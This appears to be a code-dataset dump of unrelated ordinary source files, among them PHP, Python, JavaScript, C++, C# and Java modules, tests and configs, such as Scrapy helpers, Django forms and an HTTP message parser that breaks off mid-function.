text
stringlengths
2
6.14k
<?php class modelo_agregador extends CI_Model { public function __construct(){ parent::__construct(); $this->load->database(); } public function Total(){ return $this->db->count_all_results('producto'); } public function Lista($offset, $limit){ $query = $this->db ->limit($limit,$offset) ->get('producto'); $productos = $query->result_array(); $listaProductosDevolver=array(); foreach($productos as $row){ $listaProductosDevolver[]=array( 'nombre'=>$row['nombre_producto'], 'descripcion'=>$row['descripcion'], 'precio'=>$row['precio'], 'img'=>base_url()."assets/img/".$row['id_producto']."/portada.jpg", 'url'=>site_url('/producto/index/'.$this->nombre_categoria($row['categoria_idcategoria'])."/".$row['id_producto']) ); } return $listaProductosDevolver; //$listaProductosDevolver; } /** * Obtenemos el nombre de la categoria según su id * @param type $id * @return type */ public function nombre_categoria($id){ $query = $this->db->get_where('categoria',array('idcategoria'=>$id)); $categoria = $query->result_array(); return $categoria[0]['nombre_categoria']; } }
# Copyright (c) 2013 Hewlett-Packard Development Company, L.P. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. import json import os import fixtures import testtools from os_apply_config import collect_config from os_apply_config import config_exception as exc class OCCTestCase(testtools.TestCase): def test_collect_config(self): conflict_configs = [('ec2', {'local-ipv4': '192.0.2.99', 'instance-id': 'feeddead'}), ('cfn', {'foo': {'bar': 'foo-bar'}, 'local-ipv4': '198.51.100.50'})] config_files = [] tdir = self.useFixture(fixtures.TempDir()) for name, config in conflict_configs: path = os.path.join(tdir.path, '%s.json' % name) with open(path, 'w') as out: out.write(json.dumps(config)) config_files.append(path) config = collect_config.collect_config(config_files) self.assertEqual( {'local-ipv4': '198.51.100.50', 'instance-id': 'feeddead', 'foo': {'bar': 'foo-bar'}}, config) def test_collect_config_fallback(self): tdir = self.useFixture(fixtures.TempDir()) with open(os.path.join(tdir.path, 'does_exist.json'), 'w') as t: t.write(json.dumps({'a': 1})) noexist_path = os.path.join(tdir.path, 'does_not_exist.json') config = collect_config.collect_config([], [noexist_path, t.name]) self.assertEqual({'a': 1}, config) with open(os.path.join(tdir.path, 'does_exist_new.json'), 'w') as t2: t2.write(json.dumps({'a': 2})) config = collect_config.collect_config([t2.name], [t.name]) self.assertEqual({'a': 2}, config) config = collect_config.collect_config([], [t.name, noexist_path]) self.assertEqual({'a': 1}, config) self.assertEqual({}, collect_config.collect_config([], [noexist_path])) self.assertEqual({}, collect_config.collect_config([])) def test_failed_read(self): tdir = self.useFixture(fixtures.TempDir()) unreadable_path = os.path.join(tdir.path, 'unreadable.json') with open(unreadable_path, 'w') as u: u.write(json.dumps({})) os.chmod(unreadable_path, 0o000) self.assertRaises( exc.ConfigException, lambda: list(collect_config.read_configs([unreadable_path]))) def test_bad_json(self): tdir = self.useFixture(fixtures.TempDir()) bad_json_path = os.path.join(tdir.path, 'bad.json') self.assertRaises( exc.ConfigException, lambda: list(collect_config.parse_configs([('{', bad_json_path)]))) class TestMergeConfigs(testtools.TestCase): def test_merge_configs_noconflict(self): noconflict_configs = [{'a': '1'}, {'b': 'Y'}] result = collect_config.merge_configs(noconflict_configs) self.assertEqual({'a': '1', 'b': 'Y'}, result) def test_merge_configs_conflict(self): conflict_configs = [{'a': '1'}, {'a': 'Z'}] result = collect_config.merge_configs(conflict_configs) self.assertEqual({'a': 'Z'}, result) def test_merge_configs_deep_conflict(self): deepconflict_conf = [{'a': '1'}, {'b': {'x': 'foo-bar', 'y': 'tribbles'}}, {'b': {'x': 'shazam'}}] result = collect_config.merge_configs(deepconflict_conf) self.assertEqual({'a': '1', 'b': {'x': 'shazam', 'y': 'tribbles'}}, result) def test_merge_configs_type_conflict(self): type_conflict = [{'a': 1}, {'a': [7, 8, 9]}] result = collect_config.merge_configs(type_conflict) self.assertEqual({'a': [7, 8, 9]}, result) def test_merge_configs_list_conflict(self): list_conflict = [{'a': [1, 2, 3]}, {'a': [4, 5, 6]}] result = collect_config.merge_configs(list_conflict) self.assertEqual({'a': [4, 5, 6]}, result)
"""Helper functions which don't fit anywhere else""" import re import hashlib from importlib import import_module from pkgutil import iter_modules import six from w3lib.html import replace_entities from scrapy.utils.python import flatten, to_unicode from scrapy.item import BaseItem _ITERABLE_SINGLE_VALUES = dict, BaseItem, six.text_type, bytes def arg_to_iter(arg): """Convert an argument to an iterable. The argument can be a None, single value, or an iterable. Exception: if arg is a dict, [arg] will be returned """ if arg is None: return [] elif not isinstance(arg, _ITERABLE_SINGLE_VALUES) and hasattr(arg, '__iter__'): return arg else: return [arg] def load_object(path): """Load an object given its absolute object path, and return it. object can be a class, function, variable or an instance. path ie: 'scrapy.downloadermiddlewares.redirect.RedirectMiddleware' """ try: dot = path.rindex('.') except ValueError: raise ValueError("Error loading object '%s': not a full path" % path) module, name = path[:dot], path[dot+1:] mod = import_module(module) try: obj = getattr(mod, name) except AttributeError: raise NameError("Module '%s' doesn't define any object named '%s'" % (module, name)) return obj def walk_modules(path): """Loads a module and all its submodules from the given module path and returns them. If *any* module throws an exception while importing, that exception is thrown back. For example: walk_modules('scrapy.utils') """ mods = [] mod = import_module(path) mods.append(mod) if hasattr(mod, '__path__'): for _, subpath, ispkg in iter_modules(mod.__path__): fullpath = path + '.' + subpath if ispkg: mods += walk_modules(fullpath) else: submod = import_module(fullpath) mods.append(submod) return mods def extract_regex(regex, text, encoding='utf-8'): """Extract a list of unicode strings from the given text/encoding using the following policies: * if the regex contains a named group called "extract" that will be returned * if the regex contains multiple numbered groups, all those will be returned (flattened) * if the regex doesn't contain any group the entire regex matching is returned """ if isinstance(regex, six.string_types): regex = re.compile(regex, re.UNICODE) try: strings = [regex.search(text).group('extract')] # named group except Exception: strings = regex.findall(text) # full regex or numbered groups strings = flatten(strings) if isinstance(text, six.text_type): return [replace_entities(s, keep=['lt', 'amp']) for s in strings] else: return [replace_entities(to_unicode(s, encoding), keep=['lt', 'amp']) for s in strings] def md5sum(file): """Calculate the md5 checksum of a file-like object without reading its whole content in memory. >>> from io import BytesIO >>> md5sum(BytesIO(b'file content to hash')) '784406af91dd5a54fbb9c84c2236595a' """ m = hashlib.md5() while True: d = file.read(8096) if not d: break m.update(d) return m.hexdigest() def rel_has_nofollow(rel): """Return True if link rel attribute has nofollow type""" return rel is not None and 'nofollow' in rel.split() def create_instance(objcls, settings, crawler, *args, **kwargs): """Construct a class instance using its ``from_crawler`` or ``from_settings`` constructors, if available. At least one of ``settings`` and ``crawler`` needs to be different from ``None``. If ``settings `` is ``None``, ``crawler.settings`` will be used. If ``crawler`` is ``None``, only the ``from_settings`` constructor will be tried. ``*args`` and ``**kwargs`` are forwarded to the constructors. Raises ``ValueError`` if both ``settings`` and ``crawler`` are ``None``. """ if settings is None: if crawler is None: raise ValueError("Specifiy at least one of settings and crawler.") settings = crawler.settings if crawler and hasattr(objcls, 'from_crawler'): return objcls.from_crawler(crawler, *args, **kwargs) elif hasattr(objcls, 'from_settings'): return objcls.from_settings(settings, *args, **kwargs) else: return objcls(*args, **kwargs)
import { NgModule } from '@angular/core/index'; import { NgbDropdown, NgbDropdownToggle } from './dropdown'; import { NgbDropdownConfig } from './dropdown-config'; export { NgbDropdown, NgbDropdownToggle } from './dropdown'; export { NgbDropdownConfig } from './dropdown-config'; const /** @type {?} */ NGB_DROPDOWN_DIRECTIVES = [NgbDropdownToggle, NgbDropdown]; export class NgbDropdownModule { /** * @return {?} */ static forRoot() { return { ngModule: NgbDropdownModule, providers: [NgbDropdownConfig] }; } } NgbDropdownModule.decorators = [ { type: NgModule, args: [{ declarations: NGB_DROPDOWN_DIRECTIVES, exports: NGB_DROPDOWN_DIRECTIVES },] }, ]; /** @nocollapse */ NgbDropdownModule.ctorParameters = () => []; function NgbDropdownModule_tsickle_Closure_declarations() { /** @type {?} */ NgbDropdownModule.decorators; /** * @nocollapse * @type {?} */ NgbDropdownModule.ctorParameters; } //# sourceMappingURL=dropdown.module.js.map
# Copyright (C) 2011 Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from webkitpy.common.system.filesystem_mock import MockFileSystem from webkitpy.common.system.executive_mock import MockExecutive class MockSCM(object): # Arguments are generally unused in methods that return canned values below. # pylint: disable=unused-argument executable_name = "MockSCM" def __init__(self, filesystem=None, executive=None): self.checkout_root = "/mock-checkout" self.added_paths = set() self._filesystem = filesystem or MockFileSystem() self._executive = executive or MockExecutive() self._local_commits = [] def add_all(self, pathspec=None): if not pathspec: pathspec = self.checkout_root for path in self._filesystem.glob(pathspec): self.add_list(self._filesystem.files_under(path)) def add(self, destination_path, return_exit_code=False): self.add_list([destination_path], return_exit_code) def add_list(self, destination_paths, return_exit_code=False): self.added_paths.update(set(destination_paths)) if return_exit_code: return 0 def has_working_directory_changes(self, pathspec=None): return False def ensure_cleanly_tracking_remote_master(self): pass def current_branch(self): return "mock-branch-name" def current_branch_or_ref(self): return "mock-branch-name" def checkout_branch(self, name): pass def create_clean_branch(self, name): pass def delete_branch(self, name): pass def supports_local_commits(self): return True def exists(self, path): # TestRealMain.test_real_main (and several other rebaseline tests) are sensitive to this return value. # We should make those tests more robust, but for now we just return True always (since no test needs otherwise). return True def absolute_path(self, *comps): return self._filesystem.join(self.checkout_root, *comps) def commit_position(self, path): return 5678 def commit_position_from_git_commit(self, git_commit): if git_commit == '6469e754a1': return 1234 if git_commit == '624c3081c0': return 5678 if git_commit == '624caaaaaa': return 10000 return None def timestamp_of_revision(self, path, revision): return '2013-02-01 08:48:05 +0000' def commit_locally_with_message(self, message): self._local_commits.append([message]) def local_commits(self): """For testing purposes, returns the internal recording of commits made via commit_locally_with_message. Format as [ message, commit_all_working_directory_changes, author ]. """ return self._local_commits def delete(self, path): return self.delete_list([path]) def delete_list(self, paths): if not self._filesystem: return for path in paths: if self._filesystem.exists(path): self._filesystem.remove(path) def move(self, origin, destination): if self._filesystem: self._filesystem.move(self.absolute_path(origin), self.absolute_path(destination)) def changed_files(self): return []
using System; using System.Collections.Generic; using System.Linq; using System.Text; using NUnit.Framework; namespace Enyim.Caching.Tests { [TestFixture] public class MemcachedClientMutateTests : MemcachedClientTestsBase { [Test] public void When_Incrementing_Value_Result_Is_Successful() { var key = GetUniqueKey("mutate"); var mutateResult = _Client.ExecuteIncrement(key, 100, 10); MutateAssertPass(mutateResult, 100); mutateResult = _Client.ExecuteIncrement(key, 100, 10); MutateAssertPass(mutateResult, 110); } [Test] public void When_Decrementing_Value_Result_Is_Successful() { var key = GetUniqueKey("mutate"); var mutateResult = _Client.ExecuteDecrement(key, 100, 10); MutateAssertPass(mutateResult, 100); mutateResult = _Client.ExecuteDecrement(key, 100, 10); MutateAssertPass(mutateResult, 90); } } } #region [ License information ] /* ************************************************************ * * @author Couchbase <[email protected]> * @copyright 2012 Couchbase, Inc. * @copyright 2012 Attila Kiskó, enyim.com * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * ************************************************************/ #endregion
/* * Copyright 2012, Intel Corporation * * This program file is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; version 2 of the License. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * for more details. * * You should have received a copy of the GNU General Public License * along with this program in a file named COPYING; if not, write to the * Free Software Foundation, Inc, * 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301 USA * or just google for it. * * Authors: * Chen Guobing <[email protected]> */ #ifndef GENFPS_H #define GENFPS_H #include <X11/Xlib.h> #include <X11/extensions/XTest.h> #include <X11/extensions/Xdamage.h> #include <signal.h> #include <vector> #define SAMPLE_FPS 0 #define SAMPLE_TIMESTAMP 1 class EffectHunter { public: static EffectHunter * genInstance(long winId, int mode, int sampleCount); ~EffectHunter(); void collectFPS(); public: void processAlarm(); static void stop(); private: EffectHunter(long winId, int mode, int sampleCount); void printEvent(XEvent * event); private: long mWinId; int mScreen; Display * mXWindowDisplay; int mMode; int mSampleCount; int mFPSCount; int mFPS; float mAvgFPS; bool mTermFlag; std::vector<int> mFPSs; struct timeval * mLastXDamageEventTimeStamp; struct timeval * mFirstXDamageEventTimeStamp; static EffectHunter * smObject; }; #endif
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Child window on a site whose "base" domain contains IDN</title> <script type="application/javascript"> function run() { var target = document.getElementById("location"); target.textContent = location.hostname + ":" + (location.port || 80); } function receiveMessage(evt) { if (evt.origin !== "http://localhost:8888") return; var message = evt.data + "-response"; var domain = document.domain; if (/test$/.test(domain)) { // XXX should really be IDN (bug 414090) //if (domain !== "sub1.exämple.test") // message += " wrong-initial-domain(" + domain + ")"; // for now expect the punycode value if (domain !== "sub1.xn--exmple-cua.test") message += " wrong-initial-domain(" + domain + ")"; } else { if (domain !== "sub1.παράδειγμα.δοκιμή") message += " wrong-initial-domain(" + domain + ")"; } switch (location.search) { case "?idn-whitelist": message += idnTest("παράδειγμα.δοκιμή"); break; case "?punycode-whitelist": message += punycodeTest("xn--hxajbheg2az3al.xn--jxalpdlp"); break; case "?idn-nowhitelist": message += idnTest("exämple.test"); break; case "?punycode-nowhitelist": message += punycodeTest("xn--exmple-cua.test"); break; default: message += " unexpected-query(" + location.search + ")"; break; } evt.source.postMessage(message, evt.origin); } function idnTest(newDomain) { var errors = ""; try { document.domain = newDomain; } catch (e) { errors += " error-thrown-setting-to-idn(" + String(e).split("").join(",") + ")"; } return errors; } function punycodeTest(newDomain) { var errors = ""; try { document.domain = newDomain; } catch (e) { errors += " error-thrown-setting-to-punycode(" + String(e).split("").join(",") + ")"; } return errors; } window.addEventListener("message", receiveMessage, false); window.addEventListener("load", run, false); </script> </head> <body> <h1 id="location">Somewhere!</h1> </body> </html>
#include <node.h> #include <nan.h> #include <secp256k1.h> #include <secp256k1_ecdh.h> #include "async.h" #include "messages.h" #include "util.h" extern secp256k1_context* secp256k1ctx; class ECDHWorker : public AsyncWorker { public: ECDHWorker(const v8::Local<v8::Object>& pubkey_buffer, const v8::Local<v8::Object>& seckey_buffer, Nan::Callback *callback) : AsyncWorker(callback) { CHECK_TYPE_BUFFER_ASYNC(pubkey_buffer, EC_PUBKEY_TYPE_INVALID); CHECK_BUFFER_LENGTH2_ASYNC(pubkey_buffer, 33, 65, EC_PUBKEY_LENGTH_INVALID); pubkey_input = (unsigned char*) node::Buffer::Data(pubkey_buffer); pubkey_inputlen = node::Buffer::Length(pubkey_buffer); CHECK_TYPE_BUFFER_ASYNC(seckey_buffer, EC_PRIVKEY_TYPE_INVALID); CHECK_BUFFER_LENGTH_ASYNC(seckey_buffer, 32, EC_PRIVKEY_LENGTH_INVALID); seckey = (const unsigned char*) node::Buffer::Data(seckey_buffer); } void Execute () { if (ErrorMessage() != NULL) { return; } secp256k1_pubkey pubkey; if (secp256k1_ec_pubkey_parse(secp256k1ctx, &pubkey, pubkey_input, pubkey_inputlen) == 0) { return SetError(AsyncWorker::Error, EC_PUBKEY_PARSE_FAIL); } if (secp256k1_ecdh(secp256k1ctx, &output[0], &pubkey, seckey) == 0) { return SetError(AsyncWorker::Error, ECDH_FAIL); } } void HandleOKCallback() { Nan::HandleScope scope; v8::Local<v8::Value> argv[] = {Nan::Null(), COPY_BUFFER(&output[0], 32)}; callback->Call(2, argv); } protected: const unsigned char* pubkey_input; size_t pubkey_inputlen; const unsigned char* seckey; unsigned char output[32]; }; NAN_METHOD(ecdh) { Nan::HandleScope scope; v8::Local<v8::Function> callback = info[2].As<v8::Function>(); CHECK_TYPE_FUNCTION(callback, CALLBACK_TYPE_INVALID); ECDHWorker* worker = new ECDHWorker( info[0].As<v8::Object>(), info[1].As<v8::Object>(), new Nan::Callback(callback)); Nan::AsyncQueueWorker(worker); } NAN_METHOD(ecdhSync) { Nan::HandleScope scope; v8::Local<v8::Object> pubkey_buffer = info[0].As<v8::Object>(); CHECK_TYPE_BUFFER(pubkey_buffer, EC_PUBKEY_TYPE_INVALID); CHECK_BUFFER_LENGTH2(pubkey_buffer, 33, 65, EC_PUBKEY_LENGTH_INVALID); const unsigned char* pubkey_input = (unsigned char*) node::Buffer::Data(pubkey_buffer); size_t pubkey_inputlen = node::Buffer::Length(pubkey_buffer); v8::Local<v8::Object> seckey_buffer = info[1].As<v8::Object>(); CHECK_TYPE_BUFFER(seckey_buffer, EC_PRIVKEY_TYPE_INVALID); CHECK_BUFFER_LENGTH(seckey_buffer, 32, EC_PRIVKEY_LENGTH_INVALID); const unsigned char* seckey = (const unsigned char*) node::Buffer::Data(seckey_buffer); secp256k1_pubkey pubkey; if (secp256k1_ec_pubkey_parse(secp256k1ctx, &pubkey, pubkey_input, pubkey_inputlen) == 0) { return Nan::ThrowError(EC_PUBKEY_PARSE_FAIL); } unsigned char output[32]; if (secp256k1_ecdh(secp256k1ctx, &output[0], &pubkey, seckey) == 0) { return Nan::ThrowError(ECDH_FAIL); } info.GetReturnValue().Set(COPY_BUFFER(&output[0], 32)); }
<?php final class PhabricatorSetupCheckRepositories extends PhabricatorSetupCheck { protected function executeChecks() { $repo_path = PhabricatorEnv::getEnvConfig('repository.default-local-path'); if (!$repo_path) { $summary = pht( "The configuration option '%s' is not set.", 'repository.default-local-path'); $this->newIssue('repository.default-local-path.empty') ->setName(pht('Missing Repository Local Path')) ->setSummary($summary) ->addPhabricatorConfig('repository.default-local-path'); return; } if (!Filesystem::pathExists($repo_path)) { $summary = pht( 'The path for local repositories does not exist, or is not '. 'readable by the webserver.'); $message = pht( "The directory for local repositories (%s) does not exist, or is not ". "readable by the webserver. Phabricator uses this directory to store ". "information about repositories. If this directory does not exist, ". "create it:\n\n". "%s\n". "If this directory exists, make it readable to the webserver. You ". "can also edit the configuration below to use some other directory.", phutil_tag('tt', array(), $repo_path), phutil_tag('pre', array(), csprintf('$ mkdir -p %s', $repo_path))); $this->newIssue('repository.default-local-path.empty') ->setName(pht('Missing Repository Local Path')) ->setSummary($summary) ->setMessage($message) ->addPhabricatorConfig('repository.default-local-path'); } } }
package com.commercetools.sunrise.productcatalog.productoverview.search.searchbox; import com.commercetools.sunrise.framework.components.controllers.ControllerComponent; import com.commercetools.sunrise.framework.hooks.ctprequests.ProductProjectionSearchHook; import com.commercetools.sunrise.search.searchbox.AbstractSearchBoxControllerComponent; import io.sphere.sdk.models.LocalizedStringEntry; import io.sphere.sdk.products.search.ProductProjectionSearch; import play.mvc.Http; import javax.annotation.Nullable; import javax.inject.Inject; import java.util.Locale; import java.util.Optional; public final class ProductSearchBoxControllerComponent extends AbstractSearchBoxControllerComponent implements ControllerComponent, ProductProjectionSearchHook { @Nullable private final LocalizedStringEntry searchText; @Inject public ProductSearchBoxControllerComponent(final ProductSearchBoxSettings productSearchBoxSettings, final Locale locale) { super(productSearchBoxSettings); this.searchText = productSearchBoxSettings.getSearchText(Http.Context.current(), locale).orElse(null); } @Override protected Optional<LocalizedStringEntry> getSearchText() { return Optional.ofNullable(searchText); } @Override public ProductProjectionSearch onProductProjectionSearch(final ProductProjectionSearch search) { if (searchText != null) { return search.withText(searchText); } else { return search; } } }
""" WSGI config for elearning_academy project. This module contains the WSGI application used by Django's development server and any production WSGI deployments. It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` setting. Usually you will have the standard Django WSGI application here, but it also might make sense to replace the whole Django WSGI application with a custom one that later delegates to the Django one. For example, you could introduce WSGI middleware here, or combine a Django application with an application of another framework. """ import os # We defer to a DJANGO_SETTINGS_MODULE already in the environment. This breaks # if running multiple sites in the same mod_wsgi process. To fix this, use # mod_wsgi daemon mode with each site in its own daemon process, or use # os.environ["DJANGO_SETTINGS_MODULE"] = "elearning_academy.settings" os.environ.setdefault("DJANGO_SETTINGS_MODULE", "elearning_academy.settings") # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # pylint: disable=C0103 # Apply WSGI middleware here. # from helloworld.wsgi import HelloWorldApplication # application = HelloWorldApplication(application)
'use strict' module.exports.Entry = Entry module.exports.Feed = Feed function Entry ( author, duration, enclosure, id, image, link, originalURL, subtitle, summary, title, updated, url ) { this.author = author this.duration = duration this.enclosure = enclosure this.id = id this.image = image this.link = link this.originalURL = originalURL this.subtitle = subtitle this.summary = summary this.title = title this.updated = updated this.url = url } function Feed ( author, copyright, id, image, language, link, originalURL, payment, subtitle, summary, title, ttl, updated, url ) { this.author = author this.copyright = copyright this.id = id this.image = image this.language = language this.link = link this.originalURL = originalURL this.payment = payment this.subtitle = subtitle this.summary = summary this.title = title this.ttl = ttl this.updated = updated this.url = url }
from django import forms from django.contrib.auth.forms import UserCreationForm from django.contrib.auth.models import User from app.core.models import * class RegistroDesocupado(UserCreationForm): dni = forms.CharField(required=True) fecha_nacimiento = forms.DateField(required=True) profesion = forms.CharField(max_length=200, required=False) experiencia_laboral = forms.CharField(widget=forms.Textarea, max_length=700, required=False) formacion = forms.CharField(widget=forms.Textarea, max_length=500, required=False) habilidades = forms.CharField(widget=forms.Textarea, max_length=500, required=False) trabajo_realizable = forms.CharField(max_length=500, required=False) localidad = forms.CharField(max_length=500, required=False) class Meta: model = User # Le pega a user, porq queremos que guarde el usuario, # la creación del perfil la manejamos en el metodo de más abajo fields = ('username', 'first_name', 'last_name', 'email', 'password1', 'password2') def save(self): # Llamamos al save ya definido en el formulario, esto automaticamente # crea la empresa y el desocupado que actuan de perfil user = super(RegistroDesocupado, self).save() # Ahora le digo que rellene al usuario con todos los datos que correspondan user.refresh_from_db() # Y finalmente cargamos todos los elementos del desocupado desde el formulario user.desocupado.dni = self.cleaned_data.get('dni') user.desocupado.nombre = self.cleaned_data.get('first_name') user.desocupado.apellido = self.cleaned_data.get('last_name') user.desocupado.fecha_nacimiento = self.cleaned_data.get('fecha_nacimiento') user.desocupado.profesion = self.cleaned_data.get('profesion') user.desocupado.experiencia_laboral = self.cleaned_data.get('experiencia_laboral') user.desocupado.formacion = self.cleaned_data.get('formacion') user.desocupado.habilidades = self.cleaned_data.get('habilidades') user.desocupado.trabajo_realizable = self.cleaned_data.get('trabajo_realizable') user.desocupado.localidad = self.cleaned_data.get('localidad') # Finalmente, guardamos el usuario con el desocupado ya completo user.save() # Y lo devolvemos return user class RegistroEmpresa(UserCreationForm): cuit = forms.CharField(max_length=10) razon_social = forms.CharField() rubro = forms.CharField() class Meta: model = User # Le pega a user, porq queremos que guarde el usuario, # la creación del perfil la manejamos en el metodo de más abajo fields = ('username', 'first_name', 'last_name', 'email', 'password1', 'password2') def save(self): # Llamamos al save ya definido en el formulario, esto automaticamente # crea la empresa y el desocupado que actuan de perfil user = super(RegistroEmpresa, self).save() # Ahora le digo que rellene al usuario con todos los datos que correspondan user.refresh_from_db() # Y finalmente cargamos todos los elementos de la empresa user.empresa.cuit = self.cleaned_data.get('cuit') user.empresa.razon_social = self.cleaned_data.get('razon_social') user.empresa.rubro = self.cleaned_data.get('rubro') # Finalmente, guardamos el usuario con la empresa ya completo user.save() # Y lo devolvemos return user class EditarDesocupado(forms.ModelForm): class Meta: model = Desocupado fields = ['nombre', 'apellido','fecha_nacimiento','localidad', 'experiencia_laboral','formacion', 'habilidades', 'trabajo_realizable', 'dni'] class EditarEmpresa(forms.ModelForm): class Meta: model = Empresa fields = ['cuit', 'rubro', 'razon_social'] class OfertaForm(forms.ModelForm): class Meta: model = Oferta fields = ['cargo','trabajo','horarios','profesion']
// HTTPMessageParser.cpp // Implements the cHTTPMessageParser class that parses HTTP messages (request or response) being pushed into the parser, // and reports the individual parts via callbacks #include "Globals.h" #include "HTTPMessageParser.h" cHTTPMessageParser::cHTTPMessageParser(cHTTPMessageParser::cCallbacks & a_Callbacks): m_Callbacks(a_Callbacks), m_EnvelopeParser(*this) { Reset(); } size_t cHTTPMessageParser::Parse(const char * a_Data, size_t a_Size) { // If parsing already finished or errorred, let the caller keep all the data: if (m_IsFinished || m_HasHadError) { return 0; } // If still waiting for the status line, add to buffer and try parsing it: auto inBufferSoFar = m_Buffer.size(); if (m_FirstLine.empty()) { m_Buffer.append(a_Data, a_Size); auto bytesConsumedFirstLine = ParseFirstLine(); ASSERT(bytesConsumedFirstLine <= inBufferSoFar + a_Size); // Haven't consumed more data than there is in the buffer ASSERT(bytesConsumedFirstLine > inBufferSoFar); // Have consumed at least the previous buffer contents if (m_FirstLine.empty()) { // All data used, but not a complete status line yet. return a_Size; } if (m_HasHadError) { return AString::npos; } // Status line completed, feed the rest of the buffer into the envelope parser: auto bytesConsumedEnvelope = m_EnvelopeParser.Parse(m_Buffer.data(), m_Buffer.size()); if (bytesConsumedEnvelope == AString::npos) { m_HasHadError = true; m_Callbacks.OnError("Failed to parse the envelope"); return AString::npos; } ASSERT(bytesConsumedEnvelope <= bytesConsumedFirstLine + a_Size); // Haven't consumed more data than there was in the buffer m_Buffer.erase(0, bytesConsumedEnvelope); if (!m_EnvelopeParser.IsInHeaders()) { HeadersFinished(); // Process any data still left in the buffer as message body: auto bytesConsumedBody = ParseBody(m_Buffer.data(), m_Buffer.size()); if (bytesConsumedBody == AString::npos) { // Error has already been reported by ParseBody, just bail out: return AString::npos; } return bytesConsumedBody + bytesConsumedEnvelope + bytesConsumedFirstLine - inBufferSoFar; } return a_Size; } // if (m_FirstLine.empty()) // If still parsing headers, send them to the envelope parser: if (m_EnvelopeParser.IsInHeaders()) { auto bytesConsumed = m_EnvelopeParser.Parse(a_Data, a_Size); if (bytesConsumed == AString::npos) { m_HasHadError = true; m_Callbacks.OnError("Failed to parse the envelope"); return AString::npos; } if (!m_EnvelopeParser.IsInHeaders()) { HeadersFinished(); // Process any data still left as message body: auto bytesConsumedBody = ParseBody(a_Data + bytesConsumed, a_Size - bytesConsumed); if (bytesConsumedBody == AString::npos) { // Error has already been reported by ParseBody, just bail out: return AString::npos; } } return a_Size; } // Already parsing the body return ParseBody(a_Data, a_Size); } void cHTTPMessageParser::Reset(void) { m_HasHadError = false; m_IsFinished = false; m_FirstLine.clear(); m_Buffer.clear(); m_EnvelopeParser.Reset(); m_TransferEncodingParser.reset(); m_TransferEncoding.clear(); m_ContentLength = 0; } size_t cHTTPMessageParser::ParseFirstLine(void) { auto idxLineEnd = m_Buffer.find("\r\n"); if (idxLineEnd == AString::npos) { // Not a complete line yet return m_Buffer.size(); } m_FirstLine = m_Buffer.substr(0, idxLineEnd); m_Buffer.erase(0, idxLineEnd + 2); m_Callbacks.OnFirstLine(m_FirstLine); return idxLineEnd + 2; } size_t cHTTPMessageParser::ParseBody(const char * a_Data, size_t a_Size) { if (m_TransferEncodingParser == nullptr) { // We have no Transfer-encoding parser assigned. This should have happened when finishing the envelope OnError("No transfer encoding parser"); return AString::npos; } // Parse the body using the transfer encoding parser: // (Note that TE parser returns the number of bytes left, while we return the number of bytes consumed) return a_Size - m_TransferEncodingParser->Parse(a_Data, a_Size); } void cHTTPMessageParser::HeadersFinished(void) { m_Callbacks.OnHeadersFinished(); m_TransferEncodingParser = cTransferEncodingParser::Create(*this, m_TransferEncoding, m_ContentLength); if (m_TransferEncodingParser == nullptr) { OnError(Printf("Unknown transfer encoding: %s", m_TransferEncoding.c_str())); return; } } void cHTTPMessageParser::OnHeaderLine(const AString & a_Key, const AString & a_Value) { m_Callbacks.OnHeaderLine(a_Key, a_Value); auto Key = StrToLower(a_Key); if (Key == "content-length") { if (!StringToInteger(a_Value, m_ContentLength)) { OnError(Printf("Invalid content length header value: \"%s\"", a_Value.c_str())); } return; } if (Key == "transfer-encoding") { m_TransferEncoding = a_Value; return; } } void cHTTPMessageParser::OnError(const AString & a_ErrorDescription) { m_HasHadError = true; m_Callbacks.OnError(a_ErrorDescription); } void cHTTPMessageParser::OnBodyData(const void * a_Data, size_t a_Size) { 